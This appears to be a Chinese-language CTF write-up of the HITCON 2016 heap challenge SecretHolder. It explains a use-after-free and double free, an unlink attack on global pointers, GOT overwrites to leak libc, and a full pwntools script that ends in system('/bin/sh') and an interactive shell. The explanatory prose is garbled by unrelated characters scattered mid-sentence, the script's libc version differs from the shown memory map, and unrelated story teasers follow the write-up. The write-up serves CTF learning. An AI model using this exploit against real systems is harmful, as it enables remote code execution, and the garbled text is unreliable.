HITCON2016 之 secretfolder

很早就想寫關于HITCON2016PWN題的一些理解分析,但因為懶人心理一拖再拖帽驯,今天終于可以靜下心來寫一寫writeup赴邻,不得不說,hitcon的題目質量還是很高紊选,這對于剛入門pwn的我而言啼止,真是再好不過的教程。

這是hitcon2016的第一個pwn

Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret

程序邏輯并不復雜兵罢,只不過KeepWipe必須按先后順序執(zhí)行

__int64 sub_40086D()
{
  v3 = *MK_FP(__FS__, 40LL);
  puts("Which level of secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 2 )
  {
    if ( !bigSecret )
    {
      bigSecret_ptr = calloc(1uLL, 0xFA0uLL);
      bigSecret = 1;
      puts("Tell me your secret: ");
      read(0, bigSecret_ptr, 0xFA0uLL);
    }
  }
  else if ( v0 == 3 )
  {
    if ( !hugeSecret )
    {
      hugeSecret_ptr = calloc(1uLL, 0x61A80uLL);
      hugeSecret = 1;
      puts("Tell me your secret: ");
      read(0, hugeSecret_ptr, 0x61A80uLL);
    }
  }
  else if ( v0 == 1 && !smallSecret )
  {
    smallSecret_ptr = calloc(1uLL, 0x28uLL);
    smallSecret = 1;
    puts("Tell me your secret: ");
    read(0, smallSecret_ptr, 0x28uLL);
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

這里依據(jù)選擇指定大小的秘密會申請固定大小內存空間献烦,并且對于每種類型都只能創(chuàng)建一次。

__int64 sub_400A27()
{
  v3 = *MK_FP(__FS__, 40LL);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  switch ( v0 )
  {
    case 2:
      free(bigSecret_ptr);
      bigSecret = 0;
      break;
    case 3:
      free(hugeSecret_ptr);
      hugeSecret = 0;
      break;
    case 1:
      free(smallSecret_ptr);
      smallSecret = 0;
      break;
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

上面的代碼進行的是wipe操作卖词,但是巩那,程序在free之前沒有檢查指針,并且沒有在free操作之后并沒有將指針置空此蜈,因此這里導致了兩個漏洞:UAFdouble free即横。那么這里可以這樣利用,首先創(chuàng)建一個小堆塊(記為A)舶替,然后釋放掉令境,此時再申請一個大堆塊(記為B),可以得到和剛釋放的指針相同的指針顾瞪,即A=B舔庶。再觸發(fā)一次free(A),等價于free(B)陈醒,但我們依然可以對B進行編輯惕橙。

keep('small', '')
wipe('small')
keep('huge', '')
wipe('small')   #free again

但依靠上述過程得到的AB并不在同一個內存段中(具體原因現(xiàn)在還不清楚,有興趣的同學可以分析一下sysmalloc函數(shù))

0x00400000         0x00402000         r-xp  /root/桌面/SecretHolder
0x00601000         0x00602000         r--p  /root/桌面/SecretHolder
0x00602000         0x00603000         rw-p  /root/桌面/SecretHolder
0x014ca000         0x014eb000         rw-p  [heap] 
                                              我們期望分配到的位置
0x00007fed74fe5000 0x00007fed7517a000 r-xp  /lib/x86_64-linux-gnu/libc-2.24.so 
                                              實際分配到位置
0x00007fed7517a000 0x00007fed75379000 ---p  /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed75379000 0x00007fed7537d000 r--p  /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed7537d000 0x00007fed7537f000 rw-p  /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed7537f000 0x00007fed75383000 rw-p  mapped
0x00007fed75383000 0x00007fed753a6000 r-xp  /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed7551f000 0x00007fed75583000 rw-p  mapped
0x00007fed755a2000 0x00007fed755a5000 rw-p  mapped
0x00007fed755a5000 0x00007fed755a6000 r--p  /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed755a6000 0x00007fed755a7000 rw-p  /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed755a7000 0x00007fed755a8000 rw-p  mapped
0x00007ffd2096c000 0x00007ffd2098d000 rw-p  [stack]
0x00007ffd209f7000 0x00007ffd209f9000 r--p  [vvar]
0x00007ffd209f9000 0x00007ffd209fb000 r-xp  [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

想要使得AB在同一個內存段中钉跷,只需要先申請一個大堆塊弥鹦,并釋放掉,然后再進行上述步驟即可

keep('huge', '')
wipe('huge')
keep('small', '')
wipe('small')
keep('huge', '')
wipe('small')   #free again

到這里,我們已經可以通過編輯B來控制后續(xù)申請的全部堆塊結構內容彬坏,接下來就可以利用unlink attack來修改全局指針朦促。但是,利用unlink需要滿足一個前提條件:需要執(zhí)行unlink的兩個堆塊不是fastbin栓始。所以务冕,需要構造兩個大小大于0x80的塊

keep('small', '')
keep('big', '')

這部分代碼執(zhí)行結束時的內存分布如下所示

0x20dc000:  0x0 0x31     
0x20dc010:  0xa 0x0       small secret
0x20dc020:  0x0 0x0
0x20dc030:  0x0 0xfb1    
0x20dc040:  0xa 0x0       big secret
0x20dc050:  0x0 0x0
0x20dc060:  0x0 0x0

然后通過renew操作構造一個fake fastbin

exploit_st1  = '\x00'*0x28
exploit_st1 += p64(0x30 | PREV_INUSE)
exploit_st1 += '\x00'*0x28
exploit_st1 += p64((0xfb0 - 0x30) | PREV_INUSE)
renew('huge', exploit_st1) # create two fastbins with same size

覆蓋后內存分布如下

0x20dc000:  0x0 0x31     fastbin1
0x20dc010:  0x0 0x0      
0x20dc020:  0x0 0x0
0x20dc030:  0x0 0x31     fake fastbin2
0x20dc040:  0x0 0x0      
0x20dc050:  0x0 0x0      fake big_secret block end
0x20dc060:  0x0 0xf81 
0x20dc070:  0xa 0x0
0x20dc080:  0x0 0x0
...
0x20dcfe0:  0x0 0x0      true big_secret block end
0x20dcfe0:  0x0 0x81021  

這里我們先釋放掉fastbin1fake fastbin2,釋放后的內存如下圖所示

0x20dc000:  0x0 0x31
0x20dc010:  0x0 0x0
0x20dc020:  0x0 0x0
0x20dc030:  0x0 0x31
0x20dc040:  0x20dc000   0x0
0x20dc050:  0x0 0x0
0x20dc060:  0x0 0xf81
...
0x20dcfd0:  0x0 0x0     
0x20dcfe0:  0x0 0x81021

那么幻赚,當申請small_ptr將會得到0x20dc040禀忆,但申請big_ptr時將會得到0x20dcff0,此時再通過renew('huge',payload)操作構造用于unlink操作的堆塊

addr_ptr_small      = 0x6020b0

exploit_st2  = '\x00'*0x30
# small (shift small chunk behind 16 bytes)
exploit_st2 += p64(0x0)                 # prev_size
exploit_st2 += p64(0xfa0 | PREV_INUSE)  # size
exploit_st2 += p64(addr_ptr_small-0x18) # fd
exploit_st2 += p64(addr_ptr_small-0x10) # bk
exploit_st2 += '\x00'*0xf80
# big
exploit_st2 += p64(0xfa0)               # prev_size
exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size

keep('small', '')
keep('big', '')
renew('huge', exploit_st2)
wipe('big')       # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)

此時落恼,small_ptr已經指向了0x602098箩退,renew('small', payload)可以修改bigSecret_ptr,再一次調用renew('big', payload)進行任意內存寫

.bss:0000000000602098                                    
.bss:00000000006020A0 ; void *bigSecret_ptr
.bss:00000000006020A0 bigSecret_ptr                
.bss:00000000006020A0                                    
.bss:00000000006020A8 ; void *hugeSecret_ptr
.bss:00000000006020A8 hugeSecret_ptr              
.bss:00000000006020A8                                    
.bss:00000000006020B0 ; void *smallSecret_ptr
.bss:00000000006020B0 smallSecret_ptr  

后續(xù)就比較簡單了佳谦,腳本如下

from pwn import *

def keep(type, secret):
    p.recvuntil("Renew secret")
    p.sendline('1')
    p.recvuntil("Huge secret")
    if type=="small":
        p.sendline('1')
    elif type=="big":
        p.sendline('2')
    elif type=="huge":
        p.sendline('3')
    p.recvuntil("your secret:")
    p.sendline(secret)

def wipe(type):
    p.recvuntil("Renew secret")
    p.sendline('2')
    p.recvuntil("Huge secret")
    if type=="small":
        p.sendline('1')
    elif type=="big":
        p.sendline('2')
    elif type=="huge":
        p.sendline('3')


def renew(type, secret):
    p.recvuntil("Renew secret")
    p.sendline('3')
    p.recvuntil("Huge secret")
    if type=="small":
        p.sendline('1')
    elif type=="big":
        p.sendline('2')
    elif type=="huge":
        p.sendline('3')
    p.recvuntil("your secret:")
    p.sendline(secret)

binf = ELF('SecretHolder')
addr_got_stack_fail = binf.got['__stack_chk_fail']
addr_got_memset     = binf.got['memset']
addr_got_main       = binf.got['__libc_start_main']

addr_plt_puts       = binf.plt['puts']
addr_plt_alarm      = binf.plt['alarm']
addr_plt_exit       = binf.plt['exit']

debug = 1
# context.log_level = True
if debug:
    p = process('./SecretHolder')

PREV_INUSE = 1

gdb.attach(p, open('aa'))    
keep('huge', '')
wipe('huge')
keep('small', '')
wipe('small')
keep('huge', '')                        # buf_huge == buf_small
wipe('small')

exploit_st1  = '\x00'*0x28
exploit_st1 += p64(0x30 | PREV_INUSE)
exploit_st1 += '\x00'*0x28
exploit_st1 += p64(0x81fa0 | PREV_INUSE)

keep('small', '')
keep('big', '')
renew('huge', exploit_st1)
wipe('small')
wipe('big')

addr_ptr_small      = 0x6020b0

exploit_st2  = '\x00'*0x30
# small (shift small chunk behind 16 bytes)
exploit_st2 += p64(0x0)                 # prev_size
exploit_st2 += p64(0xfa0 | PREV_INUSE)  # size
exploit_st2 += p64(addr_ptr_small-0x18) # fd
exploit_st2 += p64(addr_ptr_small-0x10) # bk
exploit_st2 += '\x00'*0xf80
# big
exploit_st2 += p64(0xfa0)               # prev_size
exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size

keep('small', '')
keep('big', '')
renew('huge', exploit_st2)
wipe('big')                             # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)

bss_global = 0x6020a0
payload_st1  = '\x00'*0x8
payload_st1 += p64(binf.got['free'])     # buf_big
payload_st1 += p64(binf.got['read'])                   # buf_huge (not used)
payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
payload_st1 += p32(1)*3
renew('small', payload_st1)
renew('big', p64(binf.plt['puts']) + p64(binf.plt['puts']+6))
wipe('huge')

offset___libc_start_main_ret = 0x20a40
offset_system = 0x00000000000443d0
offset_dup2 = 0x00000000000f7b90
offset_read = 0x00000000000f7470
offset_write = 0x00000000000f74d0
offset_str_bin_sh = 0x18c3dd

p.recvline()
read_addr = u64(p.recv(6) + '\x00\x00')
lib = ELF('/lib/x86_64-linux-gnu/libc-2.21.so')
system_addr = lib.symbols['system'] - lib.symbols['read'] + read_addr
log.info('got system addr ' + hex(system_addr))
bin_sh = offset_str_bin_sh - offset_read + read_addr

payload_st1  = '\x00'*0x8
payload_st1 += p64(binf.got['free'])     # buf_big
payload_st1 += p64(bin_sh)                   # buf_huge (not used)
payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
payload_st1 += p32(1)*3
renew("small", payload_st1)
renew("big", p64(system_addr) + p64(binf.plt['puts']+6))
wipe('huge')

p.interactive()
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末戴涝,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子吠昭,更是在濱河造成了極大的恐慌喊括,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,817評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件矢棚,死亡現(xiàn)場離奇詭異,居然都是意外死亡府喳,警方通過查閱死者的電腦和手機蒲肋,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,329評論 3 385
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來钝满,“玉大人兜粘,你說我怎么就攤上這事⊥溲粒” “怎么了孔轴?”我有些...
    開封第一講書人閱讀 157,354評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長碎捺。 經常有香客問我路鹰,道長,這世上最難降的妖魔是什么收厨? 我笑而不...
    開封第一講書人閱讀 56,498評論 1 284
  • 正文 為了忘掉前任晋柱,我火速辦了婚禮,結果婚禮上诵叁,老公的妹妹穿的比我還像新娘雁竞。我一直安慰自己,他們只是感情好拧额,可當我...
    茶點故事閱讀 65,600評論 6 386
  • 文/花漫 我一把揭開白布碑诉。 她就那樣靜靜地躺著彪腔,像睡著了一般。 火紅的嫁衣襯著肌膚如雪进栽。 梳的紋絲不亂的頭發(fā)上漫仆,一...
    開封第一講書人閱讀 49,829評論 1 290
  • 那天,我揣著相機與錄音泪幌,去河邊找鬼盲厌。 笑死,一個胖子當著我的面吹牛祸泪,可吹牛的內容都是我干的吗浩。 我是一名探鬼主播,決...
    沈念sama閱讀 38,979評論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼没隘,長吁一口氣:“原來是場噩夢啊……” “哼懂扼!你這毒婦竟也來了?” 一聲冷哼從身側響起右蒲,我...
    開封第一講書人閱讀 37,722評論 0 266
  • 序言:老撾萬榮一對情侶失蹤阀湿,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后瑰妄,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體陷嘴,經...
    沈念sama閱讀 44,189評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 36,519評論 2 327
  • 正文 我和宋清朗相戀三年间坐,在試婚紗的時候發(fā)現(xiàn)自己被綠了灾挨。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,654評論 1 340
  • 序言:一個原本活蹦亂跳的男人離奇死亡竹宋,死狀恐怖劳澄,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情蜈七,我是刑警寧澤秒拔,帶...
    沈念sama閱讀 34,329評論 4 330
  • 正文 年R本政府宣布,位于F島的核電站飒硅,受9級特大地震影響砂缩,放射性物質發(fā)生泄漏。R本人自食惡果不足惜狡相,卻給世界環(huán)境...
    茶點故事閱讀 39,940評論 3 313
  • 文/蒙蒙 一梯轻、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧尽棕,春花似錦喳挑、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,762評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽单绑。三九已至,卻和暖如春曹宴,著一層夾襖步出監(jiān)牢的瞬間搂橙,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,993評論 1 266
  • 我被黑心中介騙來泰國打工笛坦, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留区转,地道東北人。 一個月前我還...
    沈念sama閱讀 46,382評論 2 360
  • 正文 我出身青樓版扩,卻偏偏與公主長得像废离,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子礁芦,可洞房花燭夜當晚...
    茶點故事閱讀 43,543評論 2 349

推薦閱讀更多精彩內容